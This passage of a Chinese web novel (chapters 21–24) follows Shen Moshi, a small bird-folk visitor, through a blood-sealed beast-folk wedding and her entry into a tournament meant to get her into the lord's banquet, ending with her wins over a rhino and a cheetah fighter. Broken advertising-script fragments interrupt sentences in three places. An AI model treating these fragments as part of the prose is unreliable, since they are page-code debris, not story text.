注意到沈莫失动作的兕午慌忙抬起双手,焦急地向沈莫失解释,“我只是想说不是的,没有故意要打到你,只是你太小了。” 说完就意识到不对劲的兕午眼泪几乎要掉出来,又解释道:“啊,我不是说你小的意思,只是你比较……呜呜。” 她沮丧地闭嘴了。 沈莫失嬉皮笑脸地回到原位。 “没事,我知道你不是那个意思,再说我躲得可快了,想砸到我可没那么容易,小个子灵活嘛,那么你是来做什么的呢?拜访亲戚吗?” 兕午小幅度地摇了摇头,“也不是,我是来参加比赛的。” “最近有什么有意思的比赛吗?”沈莫失挑眉,很是捧场地接话。 “你竟然不知道吗?”兕午有些惊讶,“是比武大赛呀!” “哦,我是从乌鸦岭来的嘛。” 沈莫失毫不慌张,臭屁地捋了把耳后的鸽子毛,这几根毛被她打理得油光水滑,“我们那只有选美大赛。” 兕午似懂非懂地点了点头,觉得可能就是比拼谁的肌肉更结实,身材更壮硕,刀疤更多的一类比赛吧。 “那一定很热闹。”她露出向往的神色。 “这次的比武大赛才是真的热闹吧?你从那么远的地方都要赶过来。” “是的!”兕午重重点头,越说越是激动。 “据说今年领主也会出席,成为神选者我肯定是没希望的……可是只要守擂成功,成为勇者之一,领主会亲自为我颁奖!” 兕午的眼神亮晶晶,“能成为勇者的话,妈妈一定会为我骄傲的。” 沈莫失眨眨眼掩去奇异的神色,“领主也会出席啊,那可真是盛大的一次比赛。” “是啊,而且只要报名就能参加领主举办的庆祝宴会,不少人都远道而来为了见领主一面。” “你们好像很崇拜领主的样子。” 沈莫失露出欲言又止的神色,尽量说得委婉,“不过我听说她脾气很不好不是吗?” 沈莫失很谨慎,最后又补充了一句,“你知道我是乌鸦岭的人嘛,我们不习惯那么推崇领主的。” 兕午丝毫没有当面听到偶像被人说坏话的气恼之色,反而十分认同地点头。 “没错,领主她在太多地方完全就是个……”兕午自认为隐秘地扫视一圈,凑到沈莫失耳边低声道,“垃圾。” 猎刀敏锐地抖了抖耳朵,悄悄将耳朵对准了兕午的方向。 “但是她可是领主!领主就是最强大的人,不论她其他地方如何,单凭这一点,她就值得所有人的崇敬。” 兕午与有荣焉地想象着领主威武霸气的模样。 沈莫失毫无感情地附和着连连点头,“嗯嗯,虽然不太懂你们,不过你说得有道理。” 突然,远处传来噼里啪啦的爆竹声,吸引了所有人的注意力。 沈莫失三人也转头看去,周围人的起哄声一浪翻过一浪,各类野兽的咆哮声不绝于耳。 沈莫失不禁捂住了自己耳朵。 “看来仪式要开始了” 21. 比武大赛 吼声渐熄,沈莫失与兕午也都停下了交谈声,看着中心台上的两家人。 沈莫失疑惑地看着两家人携手提着一只羊羔上台来,正中明显是一对新人的一女一男持刀上前,干脆利落地结果了那只小羊羔。 在沈莫失难以形容的神情中,新人一人抓一边,将羊羔流出的血灌满了中央的碗碟。 之前沈莫失还疑惑过这个制作精美的大碗碟是用来做什么的,孤零零放在台上十分显眼,现在总算是知道了。 台上的两位新人齐齐开口。 “今日,母神为证,众人为凭,我们两家决定结为姻亲,从此有福同享,有难同当,彼此扶持,不离不弃,如任意一方有违此约,可将其千刀万剐……” 说完一长串的严重后果,两位新人一前一后,捧起碗碟轻抿一口,又传递给各自亲近的家人。 最后,司仪奉上婚书燃尽,两家人齐齐鞠躬感谢在座的各位来宾见证她们两族的结亲喜事。 沈莫失目瞪口呆地看着台上这场比起结亲更像是在歃血为盟的婚礼,跟着众人鼓掌道喜,没忍住用肘子戳了戳一旁的猎刀。 “你们这都搞这一套?” 猎刀一边鼓掌一边点头,“大差不差,师家毕竟算是大族,要更加隆重些,看来这对新人很受家族的重视。” 沈莫失过了最初惊讶的那一阵子,转念一想,虽然和她印象里的婚礼仪式差别有些大,不过这么搞好像也蛮不错的,遂合上了张大的嘴。 吃饱喝足的两人回到了旅馆,沈莫失捂着肚子哀叹自己的不节制,注意到一旁的猎刀有些不在状态。 难道是今天什么事情让猎刀触景生情了? “怎么了吗?”沈莫失脱下外衣,在猎刀身旁坐下。 猎刀习惯了沈莫失突如其来的靠近,现在连瞥都懒得瞥她一眼,自顾自沉浸在自己的情绪里。 “我想着,克拉法她好像变了很多” “哪里?我们今天打听到的基本都是关于领主的好话吧?” “师家可是领主的心腹。”猎刀意味深长地瞥一眼沈莫失。 沈莫失扯扯嘴角不接话。 “我昨晚可也出门打探消息了,再加上陆岭领主给的那份资料,据我曾经的了解,克拉法,她不应该是这个样子的。” 猎刀的声音越来越轻,听着迷茫又失落。 “哪个样子?”沈莫失明知故问。 “根据她在外的风评,你不是还给她起了个‘暴君’的称号吗?现在跟我装什么不知道呢。” 猎刀扯了扯沈莫失的脸颊。 沈莫失很是不要面皮地蹭了蹭猎刀的肉垫。 “嘿嘿,这不是看你不讨厌那家伙吗?又是你的故人,总不好一直在你面前说她坏话嘛。” “黏黏糊糊。” 猎刀故作嫌弃地推开了沈莫失,“是因为我说过‘暴君’在我这是指的另一个人,所以你才避开这个词的吧。” “你可能也猜到了,在鬃狮蜥领还被称为金钱豹领时,这个称号就是指的领主。” “所以你是觉得,现在的那位领主变得越来越像前任的样子了吗?” 猎刀点头,难以掩饰住自己的失落情绪,“虽然她杀了前任领主……我的母亲,不过我很难对她有恨意,在我看来,她与鳞一样,把我从过去解放了出来。” “这种感情,可能无法称之为感激,但我确实……” 猎刀皱起眉头,不知要用什么来形容她对克拉法的这种复杂情绪,“或许我是佩服她的。” 沈莫失挑起一边眉毛,“佩服吗?” 猎刀笑着回应沈莫失的质疑,“没错哦,佩服,或许还有些羡慕吧,人类可真是奇怪的生物不是吗?” 如果没有克拉法的反叛,或许也就不会有她的这一天了,直到红雪都好大了的时候,她才反应过来,当时她对克拉法篡位之举的想法,居然是佩服而不是仇恨。 “可她现在听着,却和前任领主如此相似。”亲眼见证了这一切的猎刀又怎么能轻易释怀呢? 沈莫失懂了,这是发现曾经的屠龙少年变成了恶龙的样子,一时间接受不了这个结局。 “既然这样的话,”沈莫失竖起一根手指,吸引了猎刀的注意力,“我有一个点子。” “什么?”猎刀困惑地看着沈莫失。 “你不是觉得她听起来 ‘变坏’了吗。”说到“变坏”时,沈莫失竖起双手的食中指弯曲两下。 猎刀觉得她的用词与语气简直是在形容一个小孩子。 “那我们亲眼去瞧瞧她怎么样?总不好只凭借谣言就定义一个人。” 没等猎刀反应过来,沈莫失不知从什么地方掏出了一张海报来,“当当~” 猎刀定睛一看,才发现居然是那场比武大赛的宣传海报。 时间就在近期,赛制是守擂,共八个擂台,在当天落日前还能站在台上,并且被其余选手认可其实力的,就是决出的八位勇者,领主会亲自为其颁奖。 后续还会进行第二轮的单打独斗,最终的冠军能获得“神选者”称号,甚至可能被领主招致麾下。 对于原住民们而言,更看重的或许是能够证明自身强大武力值的“神选者”称号,可对于沈莫失而言,她更看重后一点——接触到领主的机会。 沈莫失抖了抖手上的海报,得意地叙说着从犀牛兕午那里掏来的消息。 “况且,只要报名并上台参与比斗,除非出现弃权之类的情况,无论输赢都可以参与领主府举办的庆功宴会。” “还记得吗,我们的蛇医生也是被关在领主府里呢,这可能就是近期领主府人员最混杂,最容易下手的时间点了。” 猎刀接过海报仔细思索,“确实,这次比赛的确是个很好的解救鳞的机会,不过胜出会不会太显眼了?我可能会被人认出来。” “而且,”说这番话时,猎刀显得有些羞赧,“已经十年过去了,这十年间我安逸了不少,也没法确定就能打过现在的这些好小伙子们。” 猎刀试图说服沈莫失放弃这个风险更大的做法。 “只要能混进庆功宴会就好了,我们的目标是救出鳞,没必要因为我这点莫名其妙的情绪去和克拉法对上。” 沈莫失摆了摆食指,摇着头反驳猎刀。 “谁说是要你去了,这么好玩又有当地特色的事情,”她露出一个略显狂气的笑来,“我怎么能错过呢。” 猎刀张大了嘴,对面的沈莫失几乎能看到她舌头上的倒刺。 见她如此惊讶的模样,沈莫失卸下了狂气的笑,换上幼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 稚的赌气表情来,“什么意思啊,你不是知道我很厉害的吗?” 沈莫失为猎刀找寻过去的记忆,义愤填膺地为自己正名,“我们甚至还为此干了一杯!” 虽然是果汁。 猎刀合上下巴,吞咽了下口水,掩饰道。 “虽然知道你不会很简单,不过要成为神选者,那可是要打败一领的人啊,连犀牛小姐那样偏远地区的人都赶了过来,肯定会有更多强者聚集过来的,守擂可不是一件容易事。” “哼,只等着吧。” 面对猎刀担忧的眼神,沈莫失表现得像是个叛逆的好大儿一般倔强,“到时候看我一鸣惊人,吸引所有人的目光。” 猎刀半信半疑地在沈莫失的细胳膊细腿上打量,想到她平时在家连撞到脚趾都能嚎得人尽皆知的样子,多少是有点放心不下她。 可沈莫失在此事上出奇地倔强,猎刀现在多少是摸清楚沈莫失的脾气了,这种她下定了决心的事情,论谁来劝都是不管用的,便只能压下不安的内心嘱托她。 “那你千万不要勉强哦,我们只需要能参加宴会就好了,千万别硬撑着出什么事情。” 沈莫失自信心满满,拍拍猎刀的肩膀让她放心,“别担心啦,看我给你干一票大的。” 你还记得啊……猎刀无奈的看着鼻子朝天的沈莫失,她还以为她已经把出门前那句话忘了呢。 猎刀作出了和之前一样的反应,抬手捂住脸叹气道:“请你务必不要,算我求你了。” 但她也知道沈莫失肯定不会听她劝的,琢磨着这种大型赛事,应该不至于搞出什么意外来。 即使克拉法不像是什么细心的人,但是据说她的副手十分能干的样子,可一定要好好盯牢这场赛事啊。 待会儿也去向旅馆这边陆岭的人通通气吧,万一有什么事情发生,他们也好及时作出反应。 等沈莫失上台了,自己一定要站得靠近些,随时准备把她救下来。 思索了各种可能性和应对措施的猎刀终于放下了些许忐忑的心,在沈莫失的示意下,伸出手与她碰了个掌。 沈莫失不再去在意猎刀的担忧之情,第二天兴高采烈地就去了报名点参赛。 用的自然还是陆岭给她安排的乌鸦岭游客的身份,幸好这场比赛没有限制参赛选手的范围,只要到场就可以参加。 很有鬃狮蜥领特色的一位疤脸象族兽人坐在报名处的桌案后,拿着身份证明狐疑地打量面前比她矮了不知道几个头的“鸽族半兽人”,再三与她确认。 “你确定是要来报名比武大赛的吗?” 一个半兽人,还是个矮个子鸟人,看着就轻飘飘的,真的不会被人一巴掌扇飞出去吗? 虽说她没有歧视其他种族的想法,也没有歧视矮子的想法。 矮子也可能武力值超强,她曾经见过的一位蜜獾族兽人就凭借着矮小精悍的身材打败了不少高大的兽人,成为那一届的勇者之一。 可她参与了这么多届的比武大赛,确实从没见过一位矮个子半兽人,还是个鸟人,能坚持到最后的,这样的人或许连报名都不会来报。 今天真是开了眼了,回去得好好和祖母妈妈姨妈姐妹女儿侄女们分享一波。 壮硕的象人这么想着,等待沈莫失的回复。 22. 初战 周围高大又强壮的兽人们的目光都聚集在这边,不断窃窃私语,与周围的人交头接耳。 他们本以为这人是陪同亲友来报名的,没想到是她自己要报名。 他们与象人一个想法,这么难得的场面怎么能不让人惊讶呢? “是的,我是来参加比武大赛的。”沈莫失脾气很好地又重复了一遍。 “既然你坚持,那我也不会阻拦你,追求强大是我们的本能。” 象人低头,取出填好的报名表,高举起手臂挥下敲章,发出“砰”的一声响。 她将报名表递交给沈莫失,“祝你好运,勇敢的小家伙。” “谢谢。”沈莫失收下表格,迎着一应吃瓜群众惊叹的眼神往外走。 周围的兽人们很有默契地为她腾出了一条道路,她也友好地向各位参赛者点头致谢。 直到看不到沈莫失的人影,现场才“哄”的一声炸开来。 “天哪,她好可爱!好小一只,你看到了吗?”脸颊上带着一对白斑的鲸人突然发出清越的哨声,摇晃着身边人的肩膀激动地大叫。 “你冷静一点啦,我头晕……”身旁的人吐着舌头翻白眼。 “哇哦,那可真是位小勇者、喂!你做什么敲我头?本来就不聪明了。”有人突然捂住了脑门,向自己的同伴抱怨。 暴击了己方同伴的兽人慢悠悠收回手抱胸。 “勇者就勇者了,什么小勇者,她要是能赢,她就是货真价实的勇者,要是没赢,光凭她敢来报名参赛,我也佩服她。” 被暴击了的那人双手捂着脑袋,摇头晃脑地思索了一番,“好吧,你聪明,你说的肯定有道理。” 他又重复一遍,“哇哦!那可真是位了不起的勇者!” “了不起的勇者”本人没在意这些对自己的讨论,获得报名资格后,像往常一般在街上游荡,结识各类人群,探索小巷子里的当地美食,过得那叫一个潇洒。 不过最近打招呼的人好像变多了,是因为她出门多所以都眼熟她了吗? 第不知道多少次被陌生人请客了的沈莫失热情地感谢了对方,并与对方分享了自己外带的各种美食。 她完全不知道自己报名的举动在领地内引发了多大的讨论风波,甚至是激励了不少本怯于报名的潜在选手。 她只觉得鬃狮蜥领内的人也不像之前听到的那么不讲道理啊,这不都蛮好客的。 沈莫失嚼着肉干,默默腹诽曾经偶遇的那位石头商人。 …… 比武大赛当天。 当地的中央广场上早早地就安设起了八座高大的擂台,边缘粗糙简易地用石头和树干堆砌起来,只表面打磨平整,看着朴实无华又结实。 规则是要打败对手,使其无法起身,或是将对手击出擂台范围,被击败的对手,在当天还可以挑战其他擂台,直到日落分出胜负,决出八位胜利者。 等沈莫失这个起床困难户睡饱了来到现场,已经是人声鼎沸的一番景象,猎刀混入了人群里,装作一名普通观众,不远不近地跟着沈莫失。 她倒不急着上台,而是先观望了一番目前八个擂台上的情况。 这种守擂比赛难免要经历车轮战,所以在开场就显示出自身强大的实力是很重要的一环。 她也知道以她的身形外表,在这里很容易会被人小觑,即使她并不憷车轮战的情况,不过能少些麻烦总是好的。 所以她打算挑一个看着厉害些的先打出名声来,最好是开场就震慑住众人。 这可是个技术活,不能赢得艰难了,让人轻视,却也不能简单粗暴地结束战斗,不然为什么开锁师傅总要折腾一番防止客人赖账呢。 简单迅捷的战斗可不是所有人都能看出技术来的,总有人会觉得带有运气成分。 沈莫失原地活动腿脚,像是要开始一场慢跑活动一般轻松写意,她已经挑好一位对手了。 3号擂台的犀族兽人——并不是兕午,兕午告诉了她不少消息,沈莫失出于感激也不会去挑她的。 这位看着已经空闲了些时间,悠哉地盘腿坐在地面上,凶狠的目光扫视过周围的挑战者。 没有人不长眼地上台,看来她武力值很高,所以大家暂时避开了她。 那就是你了。 沈莫失热身结束,一个轻跳上了台阶,直面这位犀牛大姐。 对方没有因为她的外表而小瞧她,站起身后礼貌地与沈莫失交流。 “我听说过你,你的勇气值得敬佩。” 对面这么礼貌,沈莫失也没好意思直接开打,与她寒暄了几句。 “您也是威名赫赫,我久仰大名。”不管听没听过,反正没人不喜欢听好话。 对方露出自豪的笑容。 简短的招呼过后,两人毕竟都记得这是什么场合,摆出姿势准备开打 “放心吧,我会让你几分的,不会要你受重伤。”她俯下身来,后腿踢地,跃跃欲试。 沈莫失回道:“别,我会堂堂正正赢过你,不需要你放水。” 犀牛大姐眯起双眼紧盯沈莫失,“既然你这么说了……我尊重你的选择。” 气氛突然显得剑拔弩张起来,完全看不出半分钟前两人还在友好地谈话。 犀牛大姐一腿用力向后一蹬,以一种与身形截然不同的灵活感直冲向沈莫失,头上的尖角如一把刺刀,就要把沈莫失当胸对穿。 台下传来一阵阵的叫好声和惊呼声,间或还有为那个“小个子”祈祷的声音。 猎刀凑近了擂台前,全神贯注地看着犀牛与沈莫失两人的动作,紧张得双手在身侧攥紧,绷紧了身子随时准备上台抢人。 沈莫失自然不会站在原地坐以待毙。 她观察着对方的行动轨迹,在对方即将近身时一个扭身避开,借着自己相对她小个的身高,一矮身凑到对方身下,对准了柔软的腹部就是一拳。 “哇哦。”沈莫失睁大了眼迅速收回手,身形疾退躲避开犀牛的甩头,对方坚硬的角几乎与她面部擦过。 那一拳她自觉已经够用力了,没想到就像是拍在山石上一般,没有对对方造成任何影响。 “哼哼,我这身皮可不是那么容易对付的。”犀牛大姐拍了拍腹部显摆道。 沈莫失倒也不气馁,推开后双手合拳摩挲着,思索着用多大的力气才合适。 “你还是放水了吧?可别客气,尽管放马过来。”沈莫失平伸出一只手招呼了下,示意对方尽管来。 “哈哈,我可不是什么马。”犀牛大姐没听懂,摆头哼出一口气来。 “好的,那就是放犀牛过来吧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈莫失这时候还有空在心里腹诽一下自己与这个世界的文化差异。 猎刀见她这幅游刃有余的样子倒是宽心不少,还能开玩笑那就说明是心里有把握,估计她放水放得更严重,对面的犀牛都没看出来。 这局赢定了,这么想着,猎刀松开了攥紧的双手改为抱胸,放松了体态,欣赏起沈莫失的动作。 说起来,这好像是她第一次真正看到她动手吧,也算是难得的场景了。 台上两人都没管台下众人的反应,专注于自己的对手。 一次攻击未果,犀牛大姐确实收起了几分轻视的心理,这一次以更快的速度向沈莫失的方向冲去。 在沈莫失如之前一般侧身躲避时,犀牛旋身摆尾,接着势头迅速出拳,眼看着这一拳头抡圆了就要砸向沈莫失。 台下观众中除了猎刀,不论是出于什么心态,都为当前的局面揪了一把汗。 “这么快的变招,很难躲吧……”有观众抬手托着下巴,认真分析战况。 还没等这句话音落下,只见沈莫失像是未卜先知一般,灵活的下腰动作完美地避开了带风的这一拳,她的膝盖弯曲,上身几乎贴地,依旧是丝毫不见紧迫感。 周围顿时传来压抑不住的叫好声,为这位不知名的“鸟人”欢呼鼓掌。 随着斗争的开展,本以为这一局毫无悬念的观众逐渐聚集起来,情绪越发高涨。 没有被突然热闹起来的环境影响到,在避开了这一拳后,沈莫失果断抬手抓住了上方壮实的手臂,还有闲心感叹一下这只手臂的粗细、坚硬程度。 “练得真是太棒了。”如果不是在打架,可能她会想要上去贴一贴的。 借着对方的手臂发力,沈莫失一个腾跃起身,攀着人家往上就是一个贴脸的重拳。 现在的犀牛大姐可完全没工夫理会她的赞美,她一脸凝重地想要把这只轻盈的“鸟人”从手臂上扒拉下去。 她一手护住头脸,另一手用力一甩躲开了对方的拳头,又趁对方被自己甩下去的瞬间,迅速追击对方。 沈莫失倒也没过多反抗,借着对方的力道往外飞出,在空中一个倒翻躲开了追击的动作,真的如一只灵巧的鸟儿般轻飘飘落在了远处。 犀牛大姐深深喘息几下以平复心情,心有余悸地看着远处娇小的人影。 相比起她的身形,沈莫失确实算得上是娇小了。 可这么小的家伙,给她的威胁感完全不亚于那些大块头。 她缓缓笑起来,露出满嘴的白牙,“是我小看你了,你是对的,你这样的身手可不需要我放水。” 沈莫失迎着对方跃跃欲试的眼神,也咧嘴笑出平整的皓齿,一副毫无威胁的模样。 现在可不会再有人被她这幅模样诱导了。 这次没等对方的动作,沈莫失主动上前出击,迅捷的动作扬起一阵沙尘。 犀牛这一边自然也不会退缩,伴随着一阵沉闷的响声,地面都被她踹出裂纹来,借着这股力量,她直直地冲向沈莫失。 可以看出双方都打算尽快分出一个胜负。 台下顿时为两人的动作惊叫起来。 即使信任沈莫失,可看到如此针尖对锋芒的局面,猎刀还是不由得紧张了几分。 可千万别出事啊…… 23. 犀牛蹲完猎豹蹲 迎着那尖利的犀牛角,沈莫失自然没有硬碰硬的打算,她使用的招式一向注重灵巧,这时候也一样。 即将相撞时,她一个迅捷的起跃动作,再次攀上了对方的身体,凑近了脑门进行攻击,从刚才对方下意识防守的动作她就知道这里是她的弱点了。 沈莫失旋身绕后,双腿狠狠绞住犀牛的脖颈部分,防止自己被对方的动作甩下去。 她几乎像是条巨蟒般整个盘踞在了对方的头部,由于双方的体型差,这一幕在第三者看来可能会有些可笑,像是戴了一顶包头的帽子,帽子还自带围巾。 不过场上两人和观战的观众都能算是内行,他们都知道被人近身到颈部头部是多么危险的一件事。 不少人见状都屏住了呼吸,与刚才不同,现在场下的静默是为犀牛捏了一把汗。 沈莫失这下没有放水的想法了,她的能力也展示得差不多了,除了傻子,现在估计没人敢凭着身形小瞧她。 带出残影的几拳猛击身下犀牛大姐的颈部和下颌,这几圈其实和之前击中对方腹部的那一拳用力差不多,不过现在可就不会那么好受了。 沈莫失想着,幸好这场比赛没什么攻击限制,不然还真没那么容易击昏对方。 趁着对方被自己这几拳打得陷入短暂的眩晕里,沈莫失毫不怠慢地松腿放开了对方。 落地后脚下一扫,穿到其身下空隙处,抬起她的一条胳膊,借着失衡的力道,一个俯身过肩摔把身形庞大的犀牛兽人投到了场下。 围观众人连忙躲避开来,现场陷入死一般的寂静。 猎刀混在一片惊讶的人群中,率先欢呼出声,“呜哦!勇者!” 被这一声惊醒的众人终于缓过神来,发出欢呼的吼声,一个传一个,瞬间叫喊成了一片,吸引了周围一大圈不知名观众的注意力。 观众们切实地对这场比斗感到惊讶。 此前,虽然大家都很敬佩这名敢于参赛的“鸟人”,不过大多数人只是敬佩对方的勇气罢了,都觉得第一轮对方就一定会被打下台。 可现在他们看到了什么! 对方打败了体重大出她几倍不止的犀牛兽人! 这是何等的出人意料,又是何等的激励人心。 如果赛制不是守擂,观众无法上台,胜者也无法下台的话,估计沈莫失这时候能被人欢呼着高举起来。 “你好厉害!这到底是怎么做到的!她比你结实那么多,你居然能把她刷——的一下摔下来!” 一名观众睁大了眼睛靠近擂台,手舞足蹈地询问道,她眼里满是激动之情,几乎要发出光来。 沈莫失半蹲下来凑近了这位小迷妹,挑眉吹嘘道: “嘿嘿,帅吧,至于我是怎么做到的,知道杠杆原理吗?” 猎刀远远看着对方又在忽悠小孩了,无奈地摇了摇头。 另一头,被猛击了弱点又被摔下了太的犀牛大姐终于回过神来,缓缓抬起沉重的上半身,揉了揉酸胀的下巴和脖颈处。 医疗人员围着她询问身体状况,她也自检了一番,却意外发现受的伤没有想象中那么重。 很明显,对方下手是有分寸的。 而她自认在刚才最后的对决中,自己是做不到同时顾忌到对手的情况的。 这说明对方可能还没有完全出力。 歪头活动了下筋骨后,她挠了挠后脑勺,这可真是说了大话了,人家哪里需要她放水啊。 在医护人员那领了基础的药膏后,犀牛大姐来到沈莫失身边,仰头看着擂台上的对方。 沈莫失脸上毫无面对手下败将的得意之色,像是最初犀牛对待她一般礼貌地与对方打招呼。 犀牛也不在意对方胜过了自己,主动伸手相邀。 沈莫失半蹲在场上,会意地也伸出自己的手与对方交握。 刚才还剑拔弩张的两人又回到了友好的状态里。 “向你致敬,你是位真正的勇者。”双方松开手,犀牛大姐低下头,以坚硬的角碰了碰对方的手心。 在非战斗场合里,才能意识到,原来这只角并不那么锋利尖锐,反而圆润光滑得很。 “也感谢你让我认识到,原来我还有大把的进步空间呢。”她露出一个爽朗的笑容,离开了3号擂台的范围去物色其他对手。 擂台赛可还没结束呢。 确实还没结束,沈莫失已经接收到一位猎豹姐姐蠢蠢欲动的眼神了。 她毫不怯场,笑着摆手示意对方,“请。” 对方一个纵身飞跃到了台上,比起刚才的犀牛大姐,她的身形要苗条多了,虽然依旧是比沈莫失要高大些。 沈莫失再次感慨了一番鬃狮蜥领民的平均身高。 对方看着很是高冷的模样,这一次没有像刚才那样慢悠悠的开场白了。 不过这才是擂台赛的常态,对方确实是把她视为一个平等的对手,才会以这种态度对待她。 虽然没有开场白,两人却也没有一见面就凑近开打。 猎豹谨慎地俯下身,防止对面的突然袭击,也慎重地寻找对方的弱点。 “勇敢的鸟人”的名头她也是听过的,不过此前她与大众的想法一样,并不把对方视作有竞争力的对手,没想到对方却是这场比赛上升起的一颗新星。 在她看来,前一个犀牛兽人的失败多少有轻敌的因素在,而且她的路子与犀牛那“力大砖飞”的风格不同,还是想要与沈莫失较量一番的。 她习惯于在对方显露出破绽时一击毙命。 然而…… 猎豹浑身毛发竖起,越是观察沈莫失,就越是神情紧绷。 真是不可思议,对方看着浑身都是弱点和破绽。 可这才是不对劲的地方,能打赢那只犀牛,对方的实力不可小觑,这样的人即使看着浑身弱点,可如果贸然冲上去,肯定会陷入对方的圈套。 只是随意地站在原地等着对方发动攻击的沈莫失:? 果然还是要谨慎为上,犀牛已经证明过鲁莽的下场了。 这么想着的猎豹将沈莫失的危险程度又往上提升了不少,愈发警惕对方。 看着对方伏在远处,身体越发紧绷但却毫无动作的沈莫失:她这是在干嘛? 台下的观众看着场上“僵持”着的这一幕,却没有意识到沈莫失内心的迷茫,只觉得是沈莫失向对方倾注了极大的压迫感。 厉害啊! 虽然以他们的水平完全看不出来对方做了什么,可是猎豹那副紧张的姿态,可见战况着实焦灼。 过于了解沈莫失所以看懂了一切的猎刀:就是说很无语。 站麻了想要结束战斗的沈莫失犹豫了下,试探着开口,“你不动的话,那我就来咯?” 猎豹瞪圆了双眼点了点头。 见状,沈莫失再不犹豫,调整姿势急速向对方冲去。 眼见着逼近了对方,猎豹却凭借着爆发力又火速逃离了沈莫失的攻击范围。 沈莫失自然是果断再追,她只觉得自己像是在抓一只应激的猫,毫无与犀牛那般拳拳到肉的战斗感。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 台下观众的脑袋随着两人从这头转到那头,又从那头转过来,只看这一幕的话,说不定会觉得这是什么羽毛球比赛的观众。 她是不是该提提速啊。沈莫失看着面前这滑不溜手的猎豹暗想。 终于,来回几次后,或许是意识到这样下去不行的猎豹选择了正面迎击沈莫失。 她腾空而起扑向沈莫失,尖利的爪子探出,在阳光下反射出冰冷的光泽。 沈莫失脚步挪移,迅速变换位置,避开了爪子的袭击,贴身擦过对方时捏住对方的手腕部位,抬脚就要踹过去。 与犀牛不同,猎豹的腹部可是很柔软的。 猎豹以相当极限的角度旋身避开了这一脚,手腕翻折抽身而出,尽显猫科动物的柔韧特点。 沈莫失只觉得对方像水一般就从手里滑了出去。 被对方的反应惊喜到的沈莫失终于有了正在干架的真情实感,期待起对方的下一个动作。 稳稳落地的猎豹没有像之前那般尽量与沈莫失拉开距离,而是以极快的速度凑近了沈莫失,她的速度快到几乎无法被人察觉到身影。 只是眨眼的工夫,沈莫失就感觉后背升腾起一股凉意。 原来如此,是和她刚才对付犀牛大姐一样的方法啊。 没有时间过多考虑,沈莫失一个旋身直面对方的攻击,再俯身下潜,避开了猎豹的爪击并顺势攻其腹部。 猎豹没想到对方能如此迅速地作出回应,虽然想尽量躲避开这一拳,却还是被打到了侧腹部。 对方的速度不比自己差,这时候后退可能会被追击。 脑内迅速构建出新策略的猎豹没顾上腹部的伤口,选择以另一爪继续攻击。 沈莫失自然不会错过对方的这一举动,调整好重心后仰躲开了这一爪。 没管这一击是否成功,猎豹又借着柔软的身体条件,以手撑地,旋转腰部及下半身,以双脚踢打沈莫失。 沈莫失双手交叉挡下了对方的第一脚,却没想着硬扛,而是借着对方的力道往一侧滚去,两人又隔着一段距离对峙起来。 很明显,方才那一出连招对对方的消耗并不小,猎豹胸膛起伏努力调整呼吸节奏。 几乎同时,两人默契地打破了对峙的状态,又纠缠在一块儿。 沈莫失故技重施,在贴近的瞬间作出要攻击对方腹部的动作。 猎豹下意识绷紧了腹部肌肉,一手移到腹前试图截断对方的攻击轨迹。 可沈莫失这次的目标并不是腹部,刚才的动作不过是一个假动作罢了。 在猎豹上当的瞬间,沈莫失挥拳斜向上去,趁着对方注意力全放在了下腹部,迅速攻击其下颚部位。 头部是大多数人的弱点部位,这位猎豹姐姐自然也不例外。 这一击直接让对方僵直恍惚了一下,不过不像是之前犀牛那样,现在的猎豹没有被沈莫失缠住,还有机会躲开后续的追击。 她迅速俯身滚远,虽然看着狼狈了些,不过切实有效地拉开了一段距离。 猎豹抬手摸了摸下巴伤处,只觉脑内嗡嗡作响,眼前的人几乎出现重影。 但她很快就意识到这重影不光是因为自己的恍惚了。 沈莫失正以疾风一般的速度向她靠近,两人的距离本就不远,只一眨眼沈莫失就凑近了她的面门,右手挥拳向上。 猎豹恍惚着举起双臂护住头部。 可这一举动同时遮挡住了她的视线,以致她没有看到沈莫失嘴角的笑意。 “又上当咯。” 24. 章鱼 “又上当咯。” 还没等猎豹对这句话作出反应,沈莫失露出了藏于身侧的左手,重拳击向猎豹的腹部。 短时间内连受两击的猎豹再无法保持清醒,大张着眼,唇部微启,一副惊诧的表情,却没来得及回复沈莫失的话语,就已经陷入了一片昏暗中。 沈莫失右手丝滑地转拳为掌,在将要砸到对方身上前就卸下了力道,穿过对方的腋下。 左手在给出了关键一击后也顺势撑住了对方倒下的趋势,两手用力把昏迷了的猎豹拦腰抱了起来。 沈莫失本来想用抗的,不过想到自己与对方的身高差,用抗的或许对方就拖地了,干脆还是抱起来了。 娇小的“鸟族半兽人”拦腰抱起一位猎豹兽人的场面实在太“美”,有被之前沈莫失与犀牛那场比赛吸引来的记者,见此场景下意识按住了快门抓拍。 沈莫失没管台下再次响起的剧烈欢呼声,将手上吐舌头的猎豹姐姐交给了一旁等候着的医护人员。 安顿好猎豹后,沈莫失回到擂台中央,扫视周围一圈的参赛者,以与最初毫无两样的友好微笑面对众人。 “还有谁想要上来挑战的吗?” 与她对上视线的众人齐齐后退了一步。 沈莫失面上不显,内心暗暗挑眉,看来是没有了。 她暗戳戳给猎刀递了一个wink。 猎刀也隐晦地回了一个大拇指,拉了拉兜帽,在被人注意到之前离开了这个方位。 她到底知不知道以她现在受瞩目的程度,什么动作都会被无限放大啊? 猎刀默默叹了口气,选了个新位置继续陪着沈莫失。 后续确实如沈莫失所想的一般,在观看了对方这两场比赛后,剩下的参赛者都将目光转向了其他擂台。 如果赢了一个人还可能有侥幸成分的话,连赢两场的沈莫失已经展示出了足够的实力 接近黄昏,沈莫失盘腿坐在台上,耷拉着上半身,以手撑住昏昏欲倒的头颅。 她怎么就没带些好吃的好玩的来呢,等待结束的这段时间实在是太艰难了。 后续她其实有感受到其他参赛者想要来挑战的目光,不过在她直起身星星眼期待地看向对方时,对方都在一阵纠结后放弃了她这个选择。 连那位犀牛都败了,再看这个“鸟人”这么有信心的样子,自己肯定没胜算的啦。所有人都这么想着。 直到一身悠扬的号角声传遍了整个比赛场所,吸引了所有人的注意力。 沈莫失缓缓睁开双目,从小憩里回过神来,见太阳已经完全落下了。 赛场周围燃起了火把,恍惚会让人觉得这是什么蛮荒时代的神秘仪式现场。 